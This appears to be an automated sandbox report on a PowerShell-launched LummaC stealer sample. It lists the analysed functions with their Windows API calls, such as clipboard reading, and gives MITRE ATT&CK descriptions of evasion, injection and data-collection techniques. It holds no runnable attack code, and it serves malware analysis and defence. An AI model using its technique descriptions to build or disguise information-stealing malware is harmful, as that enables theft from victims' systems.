Opcode Fuzzy Hash: 183a38287acbdcb6fd43605bfd40e65d67f3e3b4632bc5cfca641c35649d64ef
Instruction Fuzzy Hash: EF71FB73A043154BC318EF79CD8576AF6D6ABC5320F0A863DE5C4A73D1EA7898048B85

Function 004402D0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00443370,?,00000018,?,?,00000018,?,?,?), ref: 004402FE

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 004406A2 Relevance: 3.0, APIs: 2, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 004406A2
GetForegroundWindow.USER32 ref: 004406B1

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: cd25495a08ae7a881a864ea32b03c02376aebc77bdf23d09393fa069b7b014e1
Instruction ID: ab39d18eea59de8c0b680b80bbae726c1476b453b8e9e2f579cb72a53367ea8f
Opcode Fuzzy Hash: cd25495a08ae7a881a864ea32b03c02376aebc77bdf23d09393fa069b7b014e1
Instruction Fuzzy Hash: 4AD0C7F95905018FD705D771BD8542A36397A4620D38C903DF50741613FD35502A8B5B

Function 0043AA74 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0043AAAF

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c63114d8942900f552c7ab432bca405393180debf0d13cc5872ecb3af4bd1074
Instruction ID: 2db82b081659a11ebf0adced019d600d4025aec70a5b2eba15313fbfae0b0d52
Opcode Fuzzy Hash: c63114d8942900f552c7ab432bca405393180debf0d13cc5872ecb3af4bd1074
Instruction Fuzzy Hash: B0112636A482A58FD719DB3CCA4476DBFA26F8A300F0980ADC4C997385CB789D60C753

Function 00440260 Relevance: 1.5, APIs: 1, Instructions: 45
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B51C,00000000,00000001), ref: 00440292

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 62298e30a4241653b6984ab1444618431f42e0cdb861d2290b65488c60bec4cd
Instruction ID: 9d73e3fc9da24b4a25dc6ea464106973b4d99c6e73c38ef93f1a8f1a834cd47d
Opcode Fuzzy Hash: 62298e30a4241653b6984ab1444618431f42e0cdb861d2290b65488c60bec4cd
Instruction Fuzzy Hash: EFF0203A909200EBE2006F2ABC05A173668BF8A325F020876F000D31A5D738E8218A9B

Function 0043E860 Relevance: 1.5, APIs: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004402AB,?,0040B51C,00000000,00000001), ref: 0043E87E

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d4ba0eb0295cb291fecaea3e71dbbc32e179608d3b32058e4b112bc51f780ac0
Instruction ID: edab8ee5216d5c962334db0beb90db3a31f2e897247f77843e17d527c4ab1b3a
Opcode Fuzzy Hash: d4ba0eb0295cb291fecaea3e71dbbc32e179608d3b32058e4b112bc51f780ac0
Instruction Fuzzy Hash: F0D0A734188121DFD7005F14FC05B873758DF0A351F020872B404AB1B5C234EC50C69C

Function 0043E840 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,67660564,00408969,67660564), ref: 0043E850

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3bcc0ae032fcfa855b4001ec6a7ed76c7c2836dbd2700616eddc664b251f816c
Instruction ID: 1c12cdc91dcc22cd6618a30bc84945b256d08a32317763a8f107efb347479c5b
Opcode Fuzzy Hash: 3bcc0ae032fcfa855b4001ec6a7ed76c7c2836dbd2700616eddc664b251f816c
Instruction Fuzzy Hash: E4C09B31145120ABD5103F15FC05FC67F64DF45391F010465B00467076C760BC91C6DD

Non-executed Functions

Function 00423E44 Relevance: 19.7, APIs: 1, Strings: 10, Instructions: 429COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000), ref: 00423E6A

Strings

4Y>[, xrefs: 0042431B
O-O/, xrefs: 00424303
<QrS, xrefs: 0042430B
P5Y7, xrefs: 004242D3
A!K#, xrefs: 004242EB
]_, xrefs: 00424070
Y1\3, xrefs: 004242CB
UW, xrefs: 004240AE, 004240B2
H%Z', xrefs: 004242F3
d)E+, xrefs: 004242FB

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 4Y>[$<QrS$A!K#$H%Z'$O-O/$P5Y7$Y1\3$d)E+$UW$]_
API String ID: 237503144-2105826625
Opcode ID: da20fe91c137fba8db0f0ac651f99c9cc8c2ccb7c5bb45a873dc5b59e8d89680
Instruction ID: 7b8528e6acc013927f719d16868986943a9a1bba7e440ced0a90d285d0ff4e0a
Opcode Fuzzy Hash: da20fe91c137fba8db0f0ac651f99c9cc8c2ccb7c5bb45a873dc5b59e8d89680
Instruction Fuzzy Hash: 24D1EAB0608361DBC310CF55E88126BBBF0EF95354F448A2EF9D99B351E3789906CB96

Function 00436590 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004365D0
GetSystemMetrics.USER32 ref: 004365E0
DeleteObject.GDI32 ref: 00436623
SelectObject.GDI32 ref: 00436673
SelectObject.GDI32 ref: 004366CA
DeleteObject.GDI32 ref: 004366F8

Strings

AnC, xrefs: 00436743
phC, xrefs: 00436790
, xrefs: 004366A1

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID: $AnC$phC
API String ID: 3911056724-4014303587
Opcode ID: 4b54decef5b36cd588d2dbc9a87a4afe110f140ad871a0f396ba4e0a0775b21e
Instruction ID: 106fc45ad3404cda282eaa32535b81ccc0e8128c77ede95de355203d1d43b79a
Opcode Fuzzy Hash: 4b54decef5b36cd588d2dbc9a87a4afe110f140ad871a0f396ba4e0a0775b21e
Instruction Fuzzy Hash: 0461A3B04497848FE760EF68D58978FBBE0BB85304F00892EE5D88B251D7B85458DF4B

Function 00430050 Relevance: 14.6, Strings: 11, Instructions: 875COMMON

Download Yara Rule

Strings

d/C, xrefs: 004308CD
%!C, xrefs: 00430961
-C, xrefs: 004307A5
:/C, xrefs: 00430C52
$&C, xrefs: 0043098D
B-C, xrefs: 0043094B
u'C, xrefs: 004308F9
F1C, xrefs: 00430805
p+C, xrefs: 00430AD3
d/C, xrefs: 004308E3
:/C, xrefs: 00430C68

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: -C$$&C$%!C$:/C$:/C$B-C$F1C$d/C$d/C$p+C$u'C
API String ID: 0-709081256
Opcode ID: 407d260e2984e500bc938a2af9084afc88076a4a5a4afd9904190e82843a23c4
Instruction ID: d9a4a0d359dcb2b16ba7e2780f5c8e827f4dfc1ae0afff22db1dab9ef28774d1
Opcode Fuzzy Hash: 407d260e2984e500bc938a2af9084afc88076a4a5a4afd9904190e82843a23c4
Instruction Fuzzy Hash: 6792A6B0615B809FD3A1CF3DC841793BBE8AB1A301F14496EE1EED7342D775A9408B69

Function 004245C0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 217COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00424698

Strings

D6v4, xrefs: 00424655
}z, xrefs: 00424646
=jh, xrefs: 00424622

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: =jh$D6v4$}z
API String ID: 237503144-2424248051
Opcode ID: 4c05a009a65ea3e28b23781bbd6519d7c2246800a1a7ede0d36e82eaf8dc30d2
Instruction ID: 072dcfe1279749a49c563166b893412059df4ddb98baf7635cf88deb1ed00509
Opcode Fuzzy Hash: 4c05a009a65ea3e28b23781bbd6519d7c2246800a1a7ede0d36e82eaf8dc30d2
Instruction Fuzzy Hash: E071227560C3509FE7208F24EC4175FBBE4EBC2718F10892DF5A49B291DBB4980A8B96

Function 004363E0 Relevance: 9.1, APIs: 6, Instructions: 130clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436402
GetClipboardData.USER32 ref: 00436423
GlobalLock.KERNEL32 ref: 00436440
GlobalUnlock.KERNEL32 ref: 00436565
CloseClipboard.USER32 ref: 0043656D

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 81a847a3543872956842440432a8dfee523cfdb2ded88c6c7e7e11ec6d44b1fe
Instruction ID: b86dd0c9fbfd43ae0b58d105ee5404c8a2eb2c5d505c68a19c0745f829c1e84f
Opcode Fuzzy Hash: 81a847a3543872956842440432a8dfee523cfdb2ded88c6c7e7e11ec6d44b1fe
Instruction Fuzzy Hash: C941D1B1908B529FD700AF7C988925ABFA0AB06320F05873EE8E5973C6D3389555C797

Function 004165EE Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

GpFv, xrefs: 00416633
LH, xrefs: 004165FD
AtP, xrefs: 0041663A

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: AtP$GpFv$LH
API String ID: 0-40351562
Opcode ID: 576404afa7e41153aeffadb6763136bbdbb0afcb7c2826d3ac7b4f79fb061b07
Instruction ID: 6bb0aad597ceb399f229923281458bf5411d9ceb9ec5dfacab6a3e1016280f03
Opcode Fuzzy Hash: 576404afa7e41153aeffadb6763136bbdbb0afcb7c2826d3ac7b4f79fb061b07
Instruction Fuzzy Hash: 04C1F275200B018FC725CF29C891663B7F2FF96314B1A896ED8968B7A5E778F841CB44

Function 0040D690 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 329COMMON

Download Yara Rule

APIs

Part of subcall function 00436590: GetSystemMetrics.USER32 ref: 004365D0
Part of subcall function 00436590: GetSystemMetrics.USER32 ref: 004365E0
Part of subcall function 00436590: DeleteObject.GDI32 ref: 00436623
Part of subcall function 00436590: SelectObject.GDI32 ref: 00436673
Part of subcall function 00436590: SelectObject.GDI32 ref: 004366CA
Part of subcall function 00436590: DeleteObject.GDI32 ref: 004366F8

CoUninitialize.OLE32 ref: 0040D6A0

Strings

TC03, xrefs: 0040D75D
SD, xrefs: 0040D8B8
^_/C, xrefs: 0040D756
;d, xrefs: 0040D8B1

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem$Uninitialize
String ID: ;d$SD$TC03$^_/C
API String ID: 1556769885-3729532250
Opcode ID: 2812e617d036c375e3da603f544641752ab874253ccd01004949b5816314b26e
Instruction ID: 40ffb7c8dda840b4bdf12d856fc54da81b6c6fcd26267cd1a4ca77b1afe074d2
Opcode Fuzzy Hash: 2812e617d036c375e3da603f544641752ab874253ccd01004949b5816314b26e
Instruction Fuzzy Hash: 0DA1F6B56047918FD719CF39C4A0262BFE1FFA7314B28819DC0D64BB86D739A406CB99

Function 0042DD30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(D7DADAD1), ref: 0042DE55

Strings

3Z{, xrefs: 0042DDA0
:u, xrefs: 0042DE55

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary
String ID: :u$3Z{
API String ID: 3664257935-1555310439
Opcode ID: 52e2302ab1351103ee4792a9557da4963a6bcc2172eb5e395f038b61ae502095
Instruction ID: 974a3689560b078f5541bff02c23d3e4bc65e838cbd55ddb6ad84d7362020e57
Opcode Fuzzy Hash: 52e2302ab1351103ee4792a9557da4963a6bcc2172eb5e395f038b61ae502095
Instruction Fuzzy Hash: F641F1706047819FE7268F249890B63BFE1AF67304F28449DE4D65F392D72A9806CB65

Function 0042A810 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 0042A8EB
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,?,?), ref: 0042A97D

Strings

~, xrefs: 0042A832

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ~
API String ID: 237503144-2894255414
Opcode ID: 7afbc3bd430aafb6d99ace3ea95c2faa1dcfd28ffa5abcf8623c816d7c1fadb5
Instruction ID: 0060a675a86d7ee076ee5ed7f34d7278311ae35c8cfae6d949a6dc28de4d3802
Opcode Fuzzy Hash: 7afbc3bd430aafb6d99ace3ea95c2faa1dcfd28ffa5abcf8623c816d7c1fadb5
Instruction Fuzzy Hash: A351FEB56483459FE350DF61AC81A2FBBB9EB86704F00583CF6809B291DBB0D40ACB47

Function 0042912D Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,FF5DFD53,0000001E,00000000,00000000,0=), ref: 004291F6

Strings

P&, xrefs: 0042914B
0=, xrefs: 00429160
ER, xrefs: 00429152
0=, xrefs: 004291EA

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 0=$0=$ER$P&
API String ID: 237503144-76498936
Opcode ID: d0c15af12cbfad86f6864dd0905774a4f0b166c0b463e71c1bc931c37c03ad9b
Instruction ID: a2bc4232f0b587c6731111968c4b9dfd6b547f1d994af41bba96082cdda02b35
Opcode Fuzzy Hash: d0c15af12cbfad86f6864dd0905774a4f0b166c0b463e71c1bc931c37c03ad9b
Instruction Fuzzy Hash: 5E31A074A08B518FD7718F28D84036BBBF2FB85710F149E2DC4A69BB91D775A8428F84

Function 0040C9A6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C9AA
CoInitializeEx.OLE32(00000000,00000002), ref: 0040CADC

Strings

i., xrefs: 0040CAE2

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID: i.
API String ID: 2538663250-1725878519
Opcode ID: e8f144b0d0e578520ae92d650570c968faa3f50811db07706bb9956ac234a523
Instruction ID: ba51fcffb96049ba4a9d2ecb0e51bddf3b28327b6748284e76850d605b8acc93
Opcode Fuzzy Hash: e8f144b0d0e578520ae92d650570c968faa3f50811db07706bb9956ac234a523
Instruction Fuzzy Hash: 0F41C9B4810B40AFD370EF39D94B7127EB8AB05250F504B1DF9E6866D4E631A4198BD7

Function 0040B5D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(004089EB), ref: 0040B5D6
FreeLibrary.KERNEL32 ref: 0040B5F7

Strings

:u, xrefs: 0040B5D6, 0040B5F7

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary
String ID: :u
API String ID: 3664257935-588177258
Opcode ID: 62f50812e52bb63f360f50f5696872349249e40dfa0370fcd185f2f673d9e761
Instruction ID: 2b90beec229bcabb032f80ab3f8ed21d398b4004671114d789e0d62637093dd3
Opcode Fuzzy Hash: 62f50812e52bb63f360f50f5696872349249e40dfa0370fcd185f2f673d9e761
Instruction Fuzzy Hash: F8C002394401819FDF027B64FD4D8183E79FB92746310803AE40251535DB228920AFE9

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 00.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

